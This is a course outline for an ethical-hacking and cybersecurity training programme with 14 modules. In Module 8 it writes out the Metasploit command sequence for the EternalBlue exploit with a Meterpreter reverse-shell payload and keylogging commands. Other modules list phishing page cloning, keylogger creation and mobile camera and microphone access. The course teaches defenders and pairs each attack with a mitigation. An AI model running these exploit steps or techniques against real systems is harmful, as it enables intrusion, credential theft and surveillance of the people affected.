CYBER SECURITY COURSE CURRICULUM

Dive into the thrilling world of cybersecurity with this dynamic, hands-on course designed to transform you into a skilled defender of the digital realm! From mastering network security to outsmarting hackers with ethical hacking techniques, this curriculum takes you on an exciting journey through the tools, tactics, and strategies used by cybersecurity experts. Using real-world tools like Metasploit, Steg hide many more, you'll build practical skills to secure systems, exploit vulnerabilities responsibly, and stay ahead in the fast-evolving landscape of cyber threats.

Module 1: Introduction to Cybersecurity

Description: Kicks off the course with an engaging overview of cybersecurity, hacking principles, and the ethical framework that guides secure practices.

- **Topics**:
  - Definition of Security and Cybersecurity
  - Cybersecurity Sub-Domains (Overview)
  - Introduction to Hacking and Ethical Hacking
  - Types of Hackers (Ethical, Unethical, Grey Hat, etc.)
  - CIA Triad (Confidentiality, Integrity, Availability)
  - Cyber Kill Chain
  - Hacking Terminology (Exploit, Payload, Zero-Day Attack)
  - The Six Types of Hackers

Module 2: Networking Fundamentals

Description: Builds a solid foundation in networking concepts, focusing on protocols, IP addressing, and devices critical to network security.

- **Topics**:
  - Fundamentals of Computer Networking
  - Networking Elements (Hub, Switch, Router, Firewall, IDS, IPS)
  - TCP/IP Overview
  - IPv4 vs. IPv6
  - Public vs. Private IP
  - Subnetting Basics and CIDR vs. FLSM
  - Ethernet Standards (10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T)
  - Introduction to Cisco Packet Tracer
  - Network Cables and Ports (RJ45, SFP, Auto-MDIX)

KENWELL IT SOLUTIONS

Module 3: Server Administration

Description: Teaches configuration and management of Windows and Linux servers, emphasizing secure web server setups.

- **Topics**:
    - **Windows Server Administration**:
        - Types of Servers (Blade, Rack, Windows vs. Linux)
        - Web Servers (IIS, XAMPP, Flask, Django)
        - Windows Desktop vs. Server OS
        - Configuring IIS for Website Hosting
        - Hosting Multiple Websites on a Single Server
        - Project: Flask Server for Machine Learning (GET/POST Requests)
    - **Linux Server Administration**:
        - Linux Basics and Commands (File, Networking, Server-Related)
        - Configuring Apache and Nginx Servers
        - Hosting Websites on Linux
        - Project: Flask Server for Big Data (GET/POST Requests)

Module 4: Switch and Router Security

Description: Focuses on securing Cisco switches and routers, including port security, access controls, and network configurations.

- **Topics**:
    - **Switch Configuration**:
        - Security: Console Login, Telnet
        - Password Encryption: service password-encryption, enable secret
        - Port Security: Manual (switchport port-security mac-address), Sticky (mac-address sticky)
        - Violation Modes: Shutdown, Restrict, Protect
    - **Router Configuration**:
        - Access Control Lists (ACLs)

Module 5: Foot printing and Reconnaissance

Description: Explores techniques for gathering information about target systems using passive and active methods.

- **Topics**:

KENWELL IT SOLUTIONS

- Introduction to Foot printing and OSINT (Open-Source Intelligence)
- Need for Foot printing (Identifying Vulnerabilities, Network Routes)
- Information Gathered: OS, IP, Firewalls, Network Layout, Emails, Subdomains
- **Passive Foot printing**:
  - WHOIS Lookup, Google Dorks, Social Media Analysis
  - Tools: Archive.org, Shodan, Netcraft
- **Active Foot printing**:
  - DNS Queries (Host, Dig, DNSenum)
  - Subdomain Enumeration (Sublist3r, Recon-ng)
  - Email Harvesting (Spiderfoot)
- **Google Hacking**:
  - Advanced Search Operators (filetype:, inurl:, intitle:)
  - Finding Sensitive Files (PDFs, Excel with Passwords)
- Metadata Analysis (Exiftool for PDFs/Images)
- Public Sources: Insecam, Earthcam, OSINT Framework

Module 6: Network Scanning

Description: Introduces tools and techniques for scanning networks to identify live hosts, open ports, and services.

- **Topics**:
  - Introduction to Network Scanning
  - Types of Scans: ICMP, ARP, TCP, UDP
  - **Tools and Techniques**:
    - Fping for Live Host Discovery
    - Nmap/Znmap: SYN Stealth Scan (nmap -sS -T4 -p-), Version Scan (nmap -sS -sV), OS Detection (nmap -sS -O)
    - Arp-scan for NIC Identification
    - Netdiscover for Passive Scanning
    - Angry IP Scanner for GUI-Based Scanning
  - Port Numbers: Well-Known (0–1023), Registered (1024–49151), Private (49152–65535)
  - Practical: Scanning Real Targets (e.g., scanme.nmap.org)

KENWELL IT SOLUTIONS

Module 7: Ethical Hacking Fundamentals

Description: Covers the setup and tools for ethical hacking, focusing on attacker system configuration and anonymity.

- **Topics**:
    - Setting Up Ethical Hacking Lab (Kali Linux, Parrot OS)
    - IP Spoofing Techniques
    - Dark Web vs. Deep Web (Tor Browser)
    - VPN Configuration (e.g., ProtonVPN)
    - Ethical Hacking Principles and Legal Considerations

Module 8: System Hacking (Windows 7/10 with Metasploit)

Description: Introduces system hacking techniques, focusing on exploiting Windows 7/10 vulnerabilities using Metasploit.

- **Topics**:
    - Introduction to System Hacking
    - Overview of Metasploit Framework
    - Setting Up a Lab:
        - Install Kali Linux (Attacker) and Windows 7/10 (Victim) VMs
        - Configure Network (Same Subnet, e.g., 192.168.1.0/24)
    - Exploiting Windows Vulnerabilities:
        - Scanning Target (e.g., nmap -sS -sV 192.168.1.100)
        - Identifying Exploits (e.g., MS17-010 EternalBlue for Windows 7)
        - Using Metasploit:
            - Start Metasploit: msfconsole
            - Search Exploit: search eternalblue
            - Select Exploit: use exploit/windows/smb/ms17_010_eternalblue
            - Set Options: set RHOSTS 192.168.1.100, set PAYLOAD windows/meterpreter/reverse_tcp
            - Run Exploit: exploit
        - Post-Exploitation: Meterpreter Commands (e.g., sysinfo, screenshot, keyscan_start)

KENWELL IT SOLUTIONS

- Practical: Gain Shell Access on Windows 10 (e.g., SMB or RDP Vulnerabilities)
- Mitigation: Patching, Firewalls, Disabling Unused Services

Module 9: Network Attacks and Defenses

Description: Explores network-based attacks like sniffing and DoS, along with mitigation strategies.

- **Topics**:
  - **Sniffing**:
    - Types and Tools (e.g., Wireshark)
    - Capturing Network Traffic
  - **DoS/DDoS Attacks**:
    - Concepts and Tools
    - Practical: Simulating DoS on Test Systems
    - Mitigation: Firewalls, Rate Limiting, Blocking Source IPs
  - **MAC Spoofing**:
    - Spoofing in Windows (Technitium MAC Address Changer)
    - Detection and Prevention
  - Practical: Analysing Attack Traffic with Wireshark

Module 10: Web and Client-Side Attacks

Description: Covers attacks targeting web servers, websites, and clients, including brute force and phishing.

- **Topics**:
  - **Web Server Attacks**:
    - Information Gathering (URLs, Subdomains)
    - Brute Force Attacks (Tools, Wordlists)
    - Mitigation: Strong Passwords, Rate Limiting
  - **Phishing**:
    - Social Engineering Techniques
    - Cloning Login Pages (e.g., Facebook, Twitter)
    - Tools: SET (Social-Engineer Toolkit)
    - Mitigation: User Awareness, Email Filters

KENWELL IT SOLUTIONS

- Practical: Simulating Phishing Attacks

Module 11: Endpoint Security

Description: Covers securing endpoints with firewalls, intrusion detection, and prevention systems.

- **Topics**:
  - Endpoint Security Overview
  - Firewall Types: Hardware, WAF, Stateless, Stateful, NGFW
  - IDS/IPS Concepts
  - Azure Firewall Configuration (SNAT, DNAT, Proxy)
  - Protecting Against RDP/SSH Attacks (Port Mapping)
  - Practical: Setting Up Azure Firewall Rules

Module 12: Cloud Security

Description: Introduces cloud computing and securing cloud-based resources on platforms like Azure.

- **Topics**:
  - Cloud Computing Basics (Types, Deployment Models, Service Models)
  - Azure Cloud: Resource Groups, vNET, Subnets, VMs
  - Configuring Cloud Web Servers
  - Network Security Groups (NSG)
  - Securing Against Anonymous Logins
  - Practical: Deploying a Secure VM on Azure

Module 13: Cryptography and Steganography

Description: Explores encryption, decryption, and data-hiding techniques for secure communication.

- **Topics**:
  - Cryptography Basics and Encryption Types
  - Encryption/Decryption Tools
  - Steganography: Hiding Data in Images, Audio, Video (Steghide)
  - Digital Steganography (LSB in Images)
  - Cracking Steganographic Messages
  - Practical: Encrypting Files and Hiding Data

KENWELL IT SOLUTIONS

Module 14: Malware, Keyloggers, Mobile Attacks, and Course Conclusion

Description: Covers malware, keyloggers, mobile attacks, and wraps up with a course summary and best practices.

- **Topics**:
  - **Malware**:
    - Types: Virus, Worm, Trojan
    - Creating Keyloggers
    - Mitigation Strategies
  - **Mobile Attacks**:
    - Gaining Location, Camera, Microphone Access
    - Social Engineering Attacks (e.g., Malicious Links)
    - Ngrok for Remote Access
    - Mitigation: App Permissions, Updates
  - **Course Conclusion**:
    - Recap of Key Concepts
    - Ethical Hacking Best Practices
    - Resource Utilization Guidelines
    - Career Paths in Cybersecurity

KENWELL IT SOLUTIONS